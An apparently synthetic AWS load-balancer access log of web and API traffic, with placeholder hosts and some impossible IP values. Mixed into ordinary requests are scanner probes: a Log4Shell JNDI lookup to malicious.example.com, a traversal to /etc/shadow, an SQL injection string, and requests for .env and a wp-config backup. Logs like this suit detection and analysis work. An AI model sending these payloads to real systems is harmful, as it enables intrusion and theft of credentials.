2024-11-01T01:41:38.407185Z prod-web-alb 118.228.3.4:49599 10.0.113.79:443 0.003254 0.261338 0.016178 200 200 559 14332 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf62-00341ca214cf4e09adb5a68c" "prod-web-alb.example.com" "-" 7 2024-11-01T01:41:38.407185Z "forward" "-" "-" "10.0.113.79:443" "200" "-" "-" -https 2024-11-01T01:41:39.811479Z prod-web-alb 128.211.166.9:44855 10.0.229.133:443 0.010656 0.096778 0.034097 200 200 840 5060 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf63-8550a55ff0b5483e97a6207d" "prod-web-alb.example.com" "-" 3 2024-11-01T01:41:39.811479Z "forward" "-" "-" "10.0.229.133:443" "200" "-" "-" -https 2024-11-01T01:41:41.281450Z prod-web-alb 39.84.16.121:22529 10.0.126.30:443 0.014493 0.354384 0.050639 302 302 912 7137 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf65-2ca853005657447bad9a21fd" "prod-web-alb.example.com" "-" 9 2024-11-01T01:41:41.281450Z "forward" "-" "-" "10.0.126.30:443" "302" "-" "-" -https 2024-11-01T01:41:42.461519Z prod-web-alb 45.155.205.109:23120 10.0.15.50:443 0.035451 0.262887 0.071227 404 404 352 13655 "PUT /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf66-ebfe43d307aa472a8ecc7816" "-" "-" 8 2024-11-01T01:41:42.461519Z "forward" "-" "-" "10.0.15.50:443" "404" "-" "-" -https 2024-11-01T01:41:43.258560Z prod-web-alb 166.157.104.74:20350 10.0.12.124:443 0.096553 0.176410 0.051850 302 302 530 4493 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf67-15b9eef22cc74edd8f15283e" "prod-web-alb.example.com" "-" 4 2024-11-01T01:41:43.258560Z "forward" "-" "-" "10.0.12.124:443" "302" "-" "-" -https 2024-11-01T01:41:44.545799Z prod-api-alb 175.238.151.5:38559 10.0.86.78:443 0.055073 0.271795 0.064050 404 404 483 3388 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf68-a8443e340c6b4621905aa25c" "prod-api-alb.example.com" "-" 7 2024-11-01T01:41:44.545799Z "forward" "-" "-" "10.0.86.78:443" "404" "-" "-" -https 2024-11-01T01:41:45.675138Z prod-api-alb 107.254.122.29:31017 10.0.23.14:443 0.062499 0.005927 0.068517 200 200 509 1027 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf69-a0d5817580974289a84c5144" "prod-api-alb.example.com" "-" 8 2024-11-01T01:41:45.675138Z "forward" "-" "-" "10.0.23.14:443" "200" "-" "-" -https 2024-11-01T01:41:47.672744Z prod-web-alb 86.251.108.136:44752 10.0.192.214:443 0.084618 0.480907 0.070937 200 200 42 4923 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf6b-d073e51a4e6c4ab4999e6f35" "prod-web-alb.example.com" "-" 8 2024-11-01T01:41:47.672744Z "forward" "-" "-" "10.0.192.214:443" "200" "-" "-" -http 2024-11-01T01:41:49.002181Z staging-alb 211.204.255.153:57349 54.176.92.159:80 0.034764 0.044545 0.022217 301 301 890 4305 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf6d-707d45102288481e903cbb57" "staging-alb.example.com" "-" 3 2024-11-01T01:41:49.002181Z "forward" "-" "-" "54.176.92.159:80" "301" "-" "-" -https 2024-11-01T01:41:50.795472Z staging-alb 77.57.174.40:25917 194.188.222.123:8080 0.006750 0.184382 0.033112 200 200 872 1384 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf6e-2afce450922948f09e6f05cf" "staging-alb.example.com" "-" 5 2024-11-01T01:41:50.795472Z "forward" "-" "-" "194.188.222.123:8080" "200" "-" "-" -https 2024-11-01T01:41:52.680389Z prod-api-alb 192.245.60.112:12518 10.0.119.13:443 0.004397 0.158197 0.007899 302 302 925 793 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf70-a4c0ab052f5b463db7281f3f" "prod-api-alb.example.com" "-" 10 2024-11-01T01:41:52.680389Z "forward" "-" "-" "10.0.119.13:443" "302" "-" "-" -https 2024-11-01T01:41:53.332626Z prod-web-alb 45.155.205.102:16034 10.0.57.220:443 0.031636 0.284291 0.039944 302 302 720 13777 "GET /wp-config.php.bak HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf71-77df7fe0236944e49afaa8ac" "-" "-" 2 2024-11-01T01:41:53.332626Z "forward" "-" "-" "10.0.57.220:443" "302" "-" "-" -https 2024-11-01T01:41:53.966399Z prod-web-alb 139.217.77.243:37027 10.0.203.16:443 0.038095 0.257953 0.030235 301 301 112 6999 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf71-bcb67682306e49d9878acef7" "prod-web-alb.example.com" "-" 0 2024-11-01T01:41:53.966399Z "forward" "-" "-" "10.0.203.16:443" "301" "-" "-" -https 2024-11-01T01:41:55.540618Z prod-web-alb 54.169.77.19:29712 10.0.144.251:443 0.067414 0.192404 0.096487 404 404 140 833 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf73-a913e51f745b43238f68d507" "prod-web-alb.example.com" "-" 9 2024-11-01T01:41:55.540618Z "forward" "-" "-" "10.0.144.251:443" "404" "-" "-" -https 2024-11-01T01:41:57.012220Z prod-web-alb 198.102.114.123:62735 10.0.174.205:443 0.013079 0.127826 0.003930 200 200 264 3719 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf75-5dba690853ac4e869d4c4082" "prod-web-alb.example.com" "-" 5 2024-11-01T01:41:57.012220Z "forward" "-" "-" "10.0.174.205:443" "200" "-" "-" -https 2024-11-01T01:41:58.433102Z prod-web-alb 127.92.82.104:64090 10.0.105.109:443 0.047714 0.012361 0.017147 404 404 866 7996 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf76-640d68b45a2e40d4830f57c0" "prod-web-alb.example.com" "-" 9 2024-11-01T01:41:58.433102Z "forward" "-" "-" "10.0.105.109:443" "404" "-" "-" -https 2024-11-01T01:42:00.270710Z prod-api-alb 23.174.183.9:52455 10.0.228.164:443 0.034825 0.343906 0.088240 302 302 417 4944 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf78-28d443e5cfce46a6820c42b8" "prod-api-alb.example.com" "-" 4 2024-11-01T01:42:00.270710Z "forward" "-" "-" "10.0.228.164:443" "302" "-" "-" -https 2024-11-01T01:42:01.608025Z prod-api-alb 21.153.213.18:47403 10.0.253.162:443 0.038722 0.480308 0.075256 200 200 967 7145 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf79-0e86e49618574cb2baa6f417" "prod-api-alb.example.com" "-" 6 2024-11-01T01:42:01.608025Z "forward" "-" "-" "10.0.253.162:443" "200" "-" "-" -https 2024-11-01T01:42:01.833753Z prod-web-alb 104.250.59.30:48659 10.0.164.111:443 0.055763 0.004018 0.018883 404 404 876 14046 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf79-48de522769fe42f890dccf0a" "prod-web-alb.example.com" "-" 6 2024-11-01T01:42:01.833753Z "forward" "-" "-" "10.0.164.111:443" "404" "-" "-" -https 2024-11-01T01:42:03.550432Z prod-web-alb 24.254.8.139:31777 10.0.237.57:443 0.011726 0.233597 0.099522 301 301 867 11951 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf7b-f5473a3d83324851aabd842b" "prod-web-alb.example.com" "-" 9 2024-11-01T01:42:03.550432Z "forward" "-" "-" "10.0.237.57:443" "301" "-" "-" -http 2024-11-01T01:42:04.814708Z staging-alb 178.93.144.84:46010 39.83.197.127:80 0.082538 0.516310 0.018187 404 404 140 11492 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf7c-6eb8a9ed86064bab864ebf79" "staging-alb.example.com" "-" 5 2024-11-01T01:42:04.814708Z "forward" "-" "-" "39.83.197.127:80" "404" "-" "-" -https 2024-11-01T01:42:05.035542Z prod-api-alb 122.114.121.219:52502 10.0.214.149:443 0.013877 0.471591 0.096390 200 200 955 13125 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf7d-f781a2b8aa2b4083a3d0ca3b" "-" "-" 8 2024-11-01T01:42:05.035542Z "forward" "-" "-" "10.0.214.149:443" "200" "-" "-" -https 2024-11-01T01:42:06.865840Z prod-api-alb 181.137.155.222:25695 10.0.2.151:443 0.061159 0.234484 0.035854 301 301 643 1584 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf7e-ada80478e4ae45229d9e11f9" "prod-api-alb.example.com" "-" 4 2024-11-01T01:42:06.865840Z "forward" "-" "-" "10.0.2.151:443" "301" "-" "-" -https 2024-11-01T01:42:07.925712Z prod-web-alb 229.178.163.156:18797 10.0.227.117:443 0.045607 0.073880 0.034718 200 200 803 10923 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf7f-e31fa99b77a945d39d7ca42c" "prod-web-alb.example.com" "-" 6 2024-11-01T01:42:07.925712Z "forward" "-" "-" "10.0.227.117:443" "200" "-" "-" -https 2024-11-01T01:42:09.669916Z prod-api-alb 117.240.219.71:20302 10.0.255.206:443 0.022078 0.214466 0.056039 200 200 77 7758 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf81-ca1c0aaf36514739926d4503" "prod-api-alb.example.com" "-" 3 2024-11-01T01:42:09.669916Z "forward" "-" "-" "10.0.255.206:443" "200" "-" "-" -https 2024-11-01T01:42:11.517096Z prod-web-alb 45.155.205.208:55927 10.0.135.154:443 0.052995 0.131317 0.028598 302 302 764 10038 "POST /.env HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf83-21d77dfc31ff4d47b55e2782" "-" "-" 10 2024-11-01T01:42:11.517096Z "forward" "-" "-" "10.0.135.154:443" "302" "-" "-" -https 2024-11-01T01:42:13.449758Z prod-api-alb 131.13.191.224:63198 10.0.131.12:443 0.083748 0.038055 0.015184 200 200 791 11321 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf85-41da608883c8459ea63978a0" "prod-api-alb.example.com" "-" 6 2024-11-01T01:42:13.449758Z "forward" "-" "-" "10.0.131.12:443" "200" "-" "-" -http 2024-11-01T01:42:14.354728Z staging-alb 50.136.46.40:23445 88.31.56.104:443 0.026388 0.387978 0.045329 200 200 134 1005 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf86-d52ae21d07d64180801c8245" "staging-alb.example.com" "-" 1 2024-11-01T01:42:14.354728Z "forward" "-" "-" "88.31.56.104:443" "200" "-" "-" -https 2024-11-01T01:42:15.557606Z staging-alb 118.80.93.76:52060 139.208.235.12:443 0.076383 0.660745 0.059862 301 301 4 4774 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf87-a5ed951d132c4f2889b63447" "staging-alb.example.com" "-" 7 2024-11-01T01:42:15.557606Z "forward" "-" "-" "139.208.235.12:443" "301" "-" "-" -http 2024-11-01T01:42:17.165771Z staging-alb 86.8.15.221:52059 207.62.191.30:443 0.016718 0.005117 0.034772 404 404 738 1461 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf89-31f09d8a27ba41d8be298b31" "staging-alb.example.com" "-" 0 2024-11-01T01:42:17.165771Z "forward" "-" "-" "207.62.191.30:443" "404" "-" "-" -https 2024-11-01T01:42:17.886094Z prod-web-alb 17.250.142.9:31314 10.0.212.105:443 0.000591 0.497666 0.005599 301 301 463 12995 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf89-b5711f79b9254d429cfd66be" "prod-web-alb.example.com" "-" 7 2024-11-01T01:42:17.886094Z "forward" "-" "-" "10.0.212.105:443" "301" "-" "-" -https 2024-11-01T01:42:18.936415Z prod-web-alb 162.112.55.73:47828 10.0.91.249:443 0.049391 0.378753 0.021001 200 200 852 9036 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf8a-2939a5a9ea8749b795ee17c8" "prod-web-alb.example.com" "-" 5 2024-11-01T01:42:18.936415Z "forward" "-" "-" "10.0.91.249:443" "200" "-" "-" -https 2024-11-01T01:42:20.712480Z prod-api-alb 155.223.162.88:61691 10.0.115.159:443 0.032149 0.129803 0.078822 200 200 500 7174 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf8c-6c1933a26b85402e838c18dc" "prod-api-alb.example.com" "-" 4 2024-11-01T01:42:20.712480Z "forward" "-" "-" "10.0.115.159:443" "200" "-" "-" -https 2024-11-01T01:42:21.823119Z prod-api-alb 9.196.181.165:64118 10.0.168.125:443 0.069473 0.260430 0.013429 301 301 484 11557 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf8d-5ad18528ebeb4ef997ad7e45" "prod-api-alb.example.com" "-" 8 2024-11-01T01:42:21.823119Z "forward" "-" "-" "10.0.168.125:443" "301" "-" "-" -https 2024-11-01T01:42:23.704515Z prod-web-alb 125.205.22.18:37797 10.0.50.10:443 0.001508 0.490275 0.086999 301 301 500 11573 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf8f-14404cea4553428aacdf2c67" "-" "-" 9 2024-11-01T01:42:23.704515Z "forward" "-" "-" "10.0.50.10:443" "301" "-" "-" -https 2024-11-01T01:42:25.174125Z prod-api-alb 107.109.193.169:54553 10.0.140.84:443 0.077297 0.474046 0.084682 200 200 927 5512 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf91-288f5f45747940489d1b0392" "prod-api-alb.example.com" "-" 2 2024-11-01T01:42:25.174125Z "forward" "-" "-" "10.0.140.84:443" "200" "-" "-" -https 2024-11-01T01:42:25.751566Z prod-web-alb 3.237.94.91:53596 10.0.51.170:443 0.079120 0.092033 0.093941 200 200 717 14702 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf91-23820b2156cc44b39e42471a" "prod-web-alb.example.com" "-" 5 2024-11-01T01:42:25.751566Z "forward" "-" "-" "10.0.51.170:443" "200" "-" "-" -https 2024-11-01T01:42:26.658477Z staging-alb 45.155.205.185:33930 49.224.68.90:443 0.049961 0.680885 0.131637 403 403 105 6573 "GET /images/../../../../etc/shadow HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf92-da618ddedcc541089de32667" "-" "-" 4 2024-11-01T01:42:26.658477Z "forward" "-" "-" "49.224.68.90:443" "403" "-" "-" -https 2024-11-01T01:42:26.896285Z staging-alb 126.213.139.129:18425 32.159.238.180:80 0.089548 0.086454 0.012586 301 301 877 2905 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf92-be03dafb8f7943b0892b4b44" "staging-alb.example.com" "-" 10 2024-11-01T01:42:26.896285Z "forward" "-" "-" "32.159.238.180:80" "301" "-" "-" -https 2024-11-01T01:42:28.548285Z prod-api-alb 153.199.1.107:33317 10.0.134.32:443 0.071684 0.283268 0.039313 404 404 318 13293 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf94-67bf42ad0a5248c19e4e59ce" "prod-api-alb.example.com" "-" 10 2024-11-01T01:42:28.548285Z "forward" "-" "-" "10.0.134.32:443" "404" "-" "-" -https 2024-11-01T01:42:29.064762Z staging-alb 13.79.233.231:62366 230.25.103.196:443 0.137527 0.125031 0.045271 200 200 664 13211 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf95-cf0f4180cae84157a2c8e1c1" "staging-alb.example.com" "-" 3 2024-11-01T01:42:29.064762Z "forward" "-" "-" "230.25.103.196:443" "200" "-" "-" -http 2024-11-01T01:42:29.200772Z staging-alb 186.10.231.176:62435 189.31.109.87:443 0.069863 0.309204 0.004854 302 302 59 13953 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf95-c78ef8dd06414d64b6f90803" "staging-alb.example.com" "-" 6 2024-11-01T01:42:29.200772Z "forward" "-" "-" "189.31.109.87:443" "302" "-" "-" -https 2024-11-01T01:42:30.350544Z staging-alb 30.194.142.234:20463 57.15.130.130:80 0.029326 0.639163 0.095268 404 404 351 11002 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf96-6ebcae21b16f4b6385ecd7a2" "staging-alb.example.com" "-" 3 2024-11-01T01:42:30.350544Z "forward" "-" "-" "57.15.130.130:80" "404" "-" "-" -https 2024-11-01T01:42:31.168178Z prod-web-alb 185.181.104.251:43284 10.0.51.146:443 0.028563 0.191830 0.022560 403 403 103 11336 "GET /login?id=1'-- HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf97-efb3ac64e6544ce59419fc5b" "-" "-" 7 2024-11-01T01:42:31.168178Z "forward" "-" "-" "10.0.51.146:443" "403" "-" "-" -https 2024-11-01T01:42:32.954240Z prod-web-alb 90.174.238.111:25057 10.0.58.119:443 0.016527 0.349334 0.093297 301 301 340 3692 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf98-caf64bd59da1407cbfe0f75d" "prod-web-alb.example.com" "-" 9 2024-11-01T01:42:32.954240Z "forward" "-" "-" "10.0.58.119:443" "301" "-" "-" -http 2024-11-01T01:42:34.644201Z staging-alb 235.140.88.184:20872 165.94.229.158:8080 0.026368 0.657891 0.121680 200 200 455 13830 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf9a-852272c64e3f4aec906e7f84" "staging-alb.example.com" "-" 5 2024-11-01T01:42:34.644201Z "forward" "-" "-" "165.94.229.158:8080" "200" "-" "-" -https 2024-11-01T01:42:35.274620Z prod-web-alb 107.166.172.18:57928 10.0.30.142:443 0.030741 0.295493 0.049075 200 200 149 9448 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf9b-c09414e356f7433db4113707" "prod-web-alb.example.com" "-" 3 2024-11-01T01:42:35.274620Z "forward" "-" "-" "10.0.30.142:443" "200" "-" "-" -https 2024-11-01T01:42:36.101804Z prod-api-alb 88.234.183.80:49455 10.0.244.177:443 0.070562 0.384032 0.030546 404 404 472 2870 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf9c-c0aa81678d3e46578ca354bd" 